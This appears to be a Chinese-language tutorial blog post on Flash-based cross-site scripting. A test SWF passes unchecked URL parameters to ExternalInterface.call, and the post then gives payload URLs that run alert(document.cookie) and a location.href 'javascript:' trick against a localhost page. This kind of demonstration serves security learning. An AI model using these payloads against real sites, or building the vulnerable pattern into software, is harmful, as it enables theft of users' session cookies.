Flash XSS

Flash XSS_第1张图片

 

 

示例:

创建一个测试flash,代码如下,导出swf文件

//取m参数

var m=_root.m;

//取showInfo参数

var showInfo=_root.showInfo;

//调用html中Javascript中的m方法,参数为showInfo

flash.external.ExternalInterface.call(m,showInfo);

 ExternalInterface

Flash XSS_第2张图片

 

 

在HTML中引用flash:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

"Content-Type" content="text/html; charset=UTF-8">

Flash XSS

"test.swf?m=showInfo&showInfo=alert(document.cookie)" allowscriptaccess="always">

info>

 

成功执行执行攻击代码,弹出cookie。

Flash XSS_第3张图片

上面演示的执行,其实还可以直接执行反射XSS。

由于Javascript中可以使用匿名函数function(){代码}进行执行。

如:

http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(/xss/)}&showInfo=s

 Flash XSS_第4张图片

 

 

成功弹出,试试弹出cookie。

http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(document.cookie)}&showInfo=s

Flash XSS_第5张图片

 

 

没有弹出任何东西,因为这里没有document对象,这里我们利用location.href来生成HTML代码

http://localhost:8080/JavaTest/xss/test.swf?m=function(){location.href="javascript:''"}&showInfo=s

将攻击代码输入到HTML中了。

成功执行了弹出cookie。

 Flash XSS_第6张图片

 

你可能感兴趣的:(Flash XSS)